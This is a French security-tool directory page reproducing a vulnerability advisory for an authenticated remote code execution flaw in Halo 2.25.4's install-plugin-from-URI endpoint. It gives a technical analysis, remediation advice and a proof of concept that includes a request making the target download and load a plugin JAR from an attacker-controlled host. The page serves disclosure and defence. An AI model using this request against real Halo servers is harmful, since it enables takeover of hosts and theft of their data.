Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
halo-2.25.4-CVE-2026-67919 — Démontre une vulnérabilité d'exécution de code à distance authentifiée dans Halo 2.25.4 via l'installation non validée d'URI de plugin, incluant une analyse technique et un exploit de preuve de concept. | Kitploit
Outils/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'Intrusion
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

Démontre une vulnérabilité d'exécution de code à distance authentifiée dans Halo 2.25.4 via l'installation non validée d'URI de plugin, incluant une analyse technique et un exploit de preuve de concept.

Voir le dépôt
il y a 17 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exécution de Code à Distance (RCE) Authentifiée via l'Installation d'un URI de Plugin Non Validé dans Halo 2.25.4

1. Résumé de la Vulnérabilité

Une vulnérabilité de sécurité critique a été identifiée dans la version 2.25.4 de Halo. L'application fournit un point de terminaison administratif pour installer ou mettre à niveau des plugins à partir d'un URI distant. Cependant, le système ne valide pas le domaine source de l'URI et ne dispose pas de protections contre la falsification de requête côté serveur (SSRF) sur ce composant spécifique. Un attaquant authentifié disposant de privilèges de gestion des plugins peut fournir un lien vers un fichier JAR de plugin malveillant. Le serveur téléchargera, stockera temporairement et chargera dynamiquement le fichier JAR dans le contexte JVM à l'aide du framework PF4J et de DefaultPluginApplicationContextFactory de Spring. Cela permet l'exécution de classes d'extension non fiables, entraînant une exécution de code à distance (RCE) arbitraire sur le système d'exploitation hôte sous-jacent.

2. Détails de la Vulnérabilité

  • Type de vulnérabilité : Injection de code / Exécution de code à distance (RCE)
  • Identifiant CWE : CWE-94 : Contrôle inapproprié de la génération de code ('Injection de code') /
CWE-434 : Téléchargement sans restriction de fichier de type dangereux
  • Gravité : 🔴 Critique
  • Score CVSS v3.1 estimé : 9,8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • Version affectée : Halo 2.25.4 (et potentiellement les versions antérieures prenant en charge l'installation de plugins par URI)
  • Identifiant CVE : CVE-2026-67919
  • 3. Composants Affectés

    Veuillez séparer par des virgules lors de la soumission au formulaire CVE :

    Texte brut

    root@kitploit:~
    PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
    

    4. Vecteur d'Attaque

    Un administrateur authentifié peut envoyer une requête HTTP POST spécialement conçue contenant une URL de plugin JAR distant malveillant au point de terminaison /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.

    5. Analyse Technique et Chaîne d'Attaque

    L'exécution de code à distance se produit via la séquence d'opérations suivante :

    1. Ingestion du point de terminaison : La méthode PluginEndpoint.installFromUri() traite le corps de la requête entrante (InstallFromUriRequest) et extrait la chaîne uri fournie par l'utilisateur. Aucun filtrage par liste blanche de domaines n'est appliqué.
    2. Récupération de fichier non protégée : L'URI extrait est transmis à DefaultReactiveUrlDataBufferFetcher.fetch(uri). Contrairement aux autres composants réseau internes de Halo, ce récupérateur n'invoque pas HttpSecurityUtils.secureHttpClient(), contournant ainsi les restrictions d'adresses IP de réseau privé/loopback (protection SSRF).
    3. Persistance locale du fichier : Le contenu en streaming téléchargé depuis l'URI distant est écrit dans un répertoire temporaire local sur le serveur hôte via writeToTempFile(content).
    4. Chargement dynamique des classes : L'application transmet le chemin temporaire à pluginService.install(path), qui utilise le JarPluginLoader de PF4J pour décompresser et charger le fichier JAR.
    5. Enregistrement et exécution des beans Spring : Une fois que PF4J a fini de charger le contexte, le DefaultPluginApplicationContextFactory de Spring analyse automatiquement les métadonnées dans le plugin.yaml du plugin et enregistre toutes les classes d'extension déclarées dans le contexte d'application en tant que beans Spring actifs.
    6. Déclenchement de l'exécution du code : Tout code malveillant placé dans les blocs d'initialisation statiques (static {}) de la classe d'extension ou dans les blocs de méthode annotés avec @PostConstruct sera exécuté immédiatement lors de la création de l'instance via Runtime.getRuntime().exec().

    Segment de code source vulnérable (PluginEndpoint.java lignes 422-428) :

    Java

    root@kitploit:~
    var content = request.bodyToMono(InstallFromUriRequest.class)
        .map(InstallFromUriRequest::uri)
        .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // Récupération réseau non validée
    return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
    

    6. Preuve de Concept (PoC)

    Étape 1 : Héberger l'artefact malveillant

    L'attaquant compile un fichier JAR de plugin PF4J/Halo standard (poc-plugin.jar) contenant une classe d'extension avec un mécanisme d'exécution de charge utile dans un hook de cycle de vie @PostConstruct ou un bloc statique. L'attaquant l'héberge sur un serveur d'écoute externe :

    Bash

    root@kitploit:~
    python3 -m http.server 9999
    

    Étape 2 : Déclenchement de la vulnérabilité

    L'utilisateur administratif authentifié envoie la requête HTTP suivante au serveur Halo cible :

    HTTP

    root@kitploit:~
    POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
    Host: <ip-cible>:8090
    Authorization: Bearer <JETON_ADMIN_ICI>
    Content-Type: application/json
    
    {
      "uri": "http://<ip-attaquant>:9999/poc-plugin.jar"
    }
    

    Étape 3 : Résultat attendu

    Le serveur traite l'installation, récupère l'artefact depuis le serveur de l'attaquant, enregistre l'extension et exécute la commande système compilée, compromettant ainsi l'hôte cible.

    image
    image

    7. Impact

    • Compromission du système : Accès complet à l'infrastructure d'hébergement ou au conteneur Docker sous les privilèges du processus applicatif.
    • Vol de données : Exposition directe des bases de données backend, des identifiants applicatifs sensibles, des clés de configuration (application.yaml) et des fichiers stockés.
    • Mouvement latéral : Le serveur peut être utilisé comme point de pivot pour attaquer les réseaux internes du site, car le mécanisme de téléchargement peut accéder aux points de terminaison loopback ou d'infrastructure interne en contournant les règles de sortie standard.

    8. Recommandations de Remédiation

    1. Imposer des listes blanches de domaines absolues : Appliquer des règles de validation strictes sur l'argument uri entrant. Restreindre les schémas d'installation à distance aux places de marché officielles vérifiées et fiables de l'écosystème (par exemple, https://awesome.halo.run).
    2. Intégrer des récupérateurs sécurisés : Refactoriser DefaultReactiveUrlDataBufferFetcher pour utiliser l'utilitaire existant HttpSecurityUtils.secureHttpClient() afin de rejeter les requêtes pointant vers loopback (127.0.0.1), link-local (169.254.169.254) ou les réseaux de classe privée (10.0.0.0/8, 192.168.0.0/16).
    3. Vérification cryptographique des plugins : Mettre en œuvre une norme de vérification de signature numérique pour les modules JAR externes. Le contexte JarPluginLoader doit valider les hachages de fichiers ou les signatures cryptographiques par rapport aux clés publiques fournies par le dépôt officiel avant de les transmettre au DefaultPluginApplicationContextFactory pour l'instanciation du contexte.
    Télécharger l’outil